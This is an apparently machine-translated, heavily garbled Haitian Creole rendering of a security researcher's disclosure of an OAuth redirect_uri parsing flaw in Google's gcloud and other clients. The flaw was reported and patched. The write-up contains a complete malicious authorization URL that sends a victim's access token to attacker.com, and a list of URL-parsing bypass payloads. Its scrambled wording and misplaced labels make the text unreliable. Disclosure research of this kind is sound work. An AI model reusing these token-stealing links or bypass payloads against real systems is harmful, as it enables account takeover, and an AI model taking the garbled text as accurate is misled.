TL;DR Pwodwi pou Telefòn Paj sa a pase nan yon inik OAuth kont ranfòse mwen te dènyèman detekte ki afekte plizyè sèvis Google. Li rezilta nan URL parse konfòsan lè fè fas ak Pwopriyete OAuth. Sòti a pèmèt atakè yo fè fasin aplikasyon legitim tankou Google Cloud SDK kliyan ak rale token a aksè nan yon sèvè kontwole pa atakè ki pèmèt yon aksè backdoor nan kont la victim - ak prèske nòt vizibilite pou victim la. redirect_uri Premye kat seksyon yo kouvri background jeneral sou OAuth, risk lekòl token, ak URL parse konfuzyon. Si ou se deja konesans ak konsèp sa yo, santi yo lib yo jwi dirèkteman nan Note: Section 5: Google Cloud Account Takeover Case. 1. Entwodiksyon OAuth 2.0 pèmèt aplikasyon twazyèm-pati pou aksè nan done itilizatè san yo pa trete senp nan dirèkteman pa gen yon sèvè otorizasyon (pou egzanp, Google) kreye yon token pou itilize pa aplikasyon an twazyèm-pati pou mande done itilizatè oswa fè aksyon nan non yo. Men, si yo se paramèt la pa valide ak presizyon chiriji, atakè ka figi aplikasyon konfyans ak trikote itilizatè yo nan lekti token aksè yo. redirect_uri Nan atik sa a, mwen pral ale nan ki jan yon mank nan analize URL subtile pèmèt m 'te fè menm bagay la - atravè plizyè sèvis Google - ak yon plonje profond nan ka a Google Cloud. 2. Ki jan OAuth travay Malgre ke OAuth se yon pwotokòl byen konplèks ki merite yon seri atik yo konplètman konprann, isit la se yon konvèsasyon senp: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Pou vizualize bagay yo, dyagram la pi senp anba a montre m 'konekte nan Mwayen lè l sèvi avèk kont Google m ': Nan anpil ka, sèvè otorizasyon ak sèvè resous yo menm. Note: 3. OAuth Token lekòl Si ou gade nan dyagram la pi wo a, pati a ki pi enkyetid se etap la 5, kote sèvè a otorizasyon an voye token la ki te kreye tounen nan aplikasyon an kliyan. Sa a etap depann sou yon paramèt URL rele Pou konnen ki kote yo voye token an. redirect_uri Si paramèt sa a se pa valide kòrèkteman, yon atakè ka figi aplikasyon kliyan an (pou egzanp, Medium) ak trikote sèvè a otorizasyon nan voye yo token aksè a itilizatè a - menm si, soti nan perspektè a itilizatè a, tout sanble legal. Sa a pèmèt atakè a pran kont la nan itilizatè a. tipik nan, se valide nan yon gwosè - ou pa ka jis lanse nenpòt URL random nan sèvè a otorizasyon. Sepandan, metòd validasyon varye atravè implemantasyon depann sou bezwen biznis, ak defè nan pwosesis sa a ka eksplike. redirect_uri Yon kèk modèl komen: Strict Matching: Konpatibilite egzak nan string ak yon URI pre-registre. Wildcard oswa Path Prefix Matching: Pèmèt URIs tankou https://example.com/* oswa https://*.example.com. Loopback Adrès: Fòmèl nan aplikasyon Desktop, kote yon serveur lokal trete redirect la. 4. URL parse konfuzyon Dapre , yon URL estanda gen estrikti sa a: RFC 3986 nan scheme://username:password@host:port/path?query#fragment Chak eleman jwe yon wòl espesifik: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment Li se rele kòm yo rele kòm Note: host:port authority, username:password userinfo Nan yon premye gade, sa a sanble senp - men subtile diferans parse ka rive, espesyalman lè ranplase kantite ka. Sa yo inkonsistan ka eksplike pou atak tankou bypass valizyon oswa kontwole demann atravè pwotokòl. Devlopè yo ta ka asume ke yon URL se analize nan yon fason konsistan, estanda nan tout bibliyotèk, sepandan, rechèch extensif sou parseurs URL te pwouve totalman kontrèman a. Sa a vin yon reyèl pwoblèm sekirite nan konteks sensitif tankou: OAuth redirect URI validation SSRF prevention Proxy or CDN routing Isit la se yon egzanp kote yon sèl URL se trete diferan nan twa parseurs diferan Malgre ke atik sa a pa pral plonje fondamantalman nan URL parse atak konfuzyon, yo se byen eksplore nan 2017 Black Hat papye Yon nouvo epòk nan SSRF - Eksploze URL Parser nan lang pwogramasyon tendans 5. Google Cloud Kont Takeover ka Si ou te janm itilize Google Cloud anvan, ou ta ka jwenn ke CLI sèvis piblik — yon zouti fòs liy lòd itilize pou jesyon Google Cloud resous. Anplis de karakteristik, li pèmèt itilizatè yo autentike lè l sèvi avèk kont Google yo nan yon navigatè ki baze sou OAuth flux. gcloud Isit la se ki jan li travay: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Pou travay sa a flux, Google konfyans sèten URL loopback (pou egzanp, http://localhost) pou aplikasyon natif natal, paske sa yo konsidere ase san danje pou itilize lokal ak yo list blan internman. A. Identification nan atak sifas Apre wè yon yo itilize kòm , instinct mwen an premye te ranplase li ak ak sa a se yon etap enpòtan paske li konfime ke URL yo se reyèlman analize ak konpare enteryèman, olye de gen kèk tcheke prensipal tankou: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Se konsa, isit la nou gen de bagay enpòtan sou: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri Li vle di nou gen de parseurs URL nan plas, youn ki itilize pa backend Google a, ak parseur a itilize pa navigatè nou an (Chrome nan ka m '), se konsa si sa yo de parseurs yo identik, nenpòt inkonsistans ant yo ka eksplike pou koule otorizasyon OAuth nan yon sèvè kontwole pa atakè. Objektif la se kounye a klè, nou bezwen kreye yon URL ki parse diferan ant de parseurs, nan yon fason ke nou trick Google a backend parseur parse li kòm yon adrès loopback, pandan ke Chrome a parse li kòm yon adrès entènèt mondyal. Fakti ke nou gen yon konesans trè limit sou backend Google a ak ki library yo itilize internèlman pou analize URLs, vle di ke nou sèlman rete ak abord la Blackbox. B. Fuzzing pou genyen Ki sa mwen te fè apre yo te ekri yon script Python ki pral mutasyon URL diferan pa aplike varyete trik kodaj, notasyon altènatif, ak kantite ka yo wè ki moun te pase valizyon backend nan Google men yo te entèprete diferan pa Chrome, script la te itilize plizyè trik tankou: Reprezantasyon IP alterne: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Adrès IP prive: 10.0.0.5, 192.168.5.3, 127.10.0.1 Different systèmes: file://, ldap://, ftp://, javascript://, done:// Injection nan CRLF: %0D%0A Hostname/IP kòm enfòmasyon itilizatè: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com trè long URLs: http://AAAAAA...@127.0.0.1 DNS suffiks nan: 127.0.0.1.attacker.com URL malformé: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Query/Fragment enjections: Enjecte ekstra ? , & oswa # anvan / apre @ DNS rebinding (teste manuèlman) Apre kouri skript la pou yon tan, ak pou surprizo m ', youn nan ka yo kantite ki te kreye te kapab desann diskontinans egzakteman mwen te chèche, reaksi mwen te tankou: ka edge siksè te jwenn te: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ ki ka enkli plis nan: http://[::1]@[::1]@attacker.com/ Lè nou eseye analize URL sa a lè l sèvi avèk Chrome, nou jwenn rezilta sa a: Yon pati enteresan sou se ke li se yon malformed URL yo kòmanse ak. karakteristik se resevwa yo separe soti nan , epi li ta dwe sèlman parèt yon fwa nan yon URL valab. Chrome diminye ka a kantite pa enkode tout karaktè ki pa resève, osi byen ke aparans anvan yo nan karaktè resève, epi sèvi ak sèlman dènye a kòm delimiter. Sa a asire ke nenpòt ki anvan dènye a se URL-kode. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Nan kontrè, ki baze sou tès eksperyans ak varyasyon pèfòmans, li parèt ke analizè backend nan Google pa kode kòrèkteman aparans anvan yo nan karaktè resève epi li te itilize premye aparans nan kòm delimitè a. Apre divize sou Se konsa, parseur a ka ekstrè ak soti nan pozisyon fixe, konplètman ignore trailing la . @ @ userinfo hostname attacker.com Li enpòtan yo note ke sa a konpòtman te desann sèlman lè l sèvi avèk IPv6. Lè l sèvi avèk IPv4 (pou egzanp, ) li te travay kòm te espere, ki montre ke inkonsistans la te espesifik pou IPv6 parse logik. http://127.0.0.1@127.0.0.1@attacker.com C. mete li tout ansanm Koulye a, vektè a nan atak nou an vin klè, nou ka figi cli zouti ak trick yon itilizatè pou autentike panse yo se autentike nan . gcloud gcloud Atak la devlope tankou sa a: Kreye yon demann otorizasyon OAuth malware ak voye lyen li (blòk kòd anba a) nan victime a Victim se prezante ak yon kontni OAuth autentifikasyon konplètman legitime pou kliyan Google Cloud SDK (Figure 9) Victim log ak konsakre sou otorizasyon yo ki lis (sòf) Victim la redirection nan òdinatè malware nou an, ak otorizasyon OAuth yo te kreye Nou itilize OAuth grant fè apèl API sou kont la nan victim nan non yo https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Isit la se yon vizyalizasyon nan pwopoze a atak flux Soti nan perspektif la nan itilizatè a, li pral sanble ke yo autentike nan , menm pou Google sèvè otorizasyon, li pral sanble ke itilizatè a ap eseye autentifikasyon nan , se konsa nou efikasman trikote tou de pati a nan otantifikasyon nan panse li se yon pwosesis otantifikasyon legal pandan y ap token a aksè final la se koule nan òdinatè a malware nou an. gcloud gcloud Token aksè lekòl la pral efikasman ba nou aksè san limit sou kont victim, ki pèmèt nou fè menm aksyon trè privilege. Ki sa ki fè atak sa a menm pi enpòtan se: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Kòm te di nan kòmansman an nan atik sa a, se sèlman yon aplikasyon vulnerable, anba a se kèk aplikasyon lòt ki mwen te jwenn yo dwe vulnerable tou: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google te reponn byen vit, rekonèt gravite a nan 72 èdtan, ak bay yon bonis segondè gravite. 6. Konklizyon Sa a rechèch montre ki jan yon diskresyon nan parse URL subtile ka ranfòse konplètman sekirite a nan yon kontni autentifikasyon tout antye ki re-etabli nan aplikasyon diferan ak sèvis, menm lè implemented pa yon konpayi tankou matirite ak sekirite-conscious tankou Google. Pa exploiting diferans ant ki jan URL yo entèprete pa diferan parseurs, nou te kapab kreye malware redirect URIs ki rale token aksè nan sèvè kontwole pa atakè - ki mennen nan senaryo konplè sou kont. Malgre ke OAuth se yon pwotokòl matirite ak byen etidye, sekirite li depann anpil sou detay enplomasyon ti kras ki varye ant platfòm, bibliyotèk, ak anviwònman yo. Li se yon remake ke nan sekirite, presizyon enpòtan: menm ti kras inkonsistans ant konpozan ka ase fèmen presizyon konfyans kritik. Google te kounye a patch kwasans la apre piblisite responsab. Mèsi pou lekti!
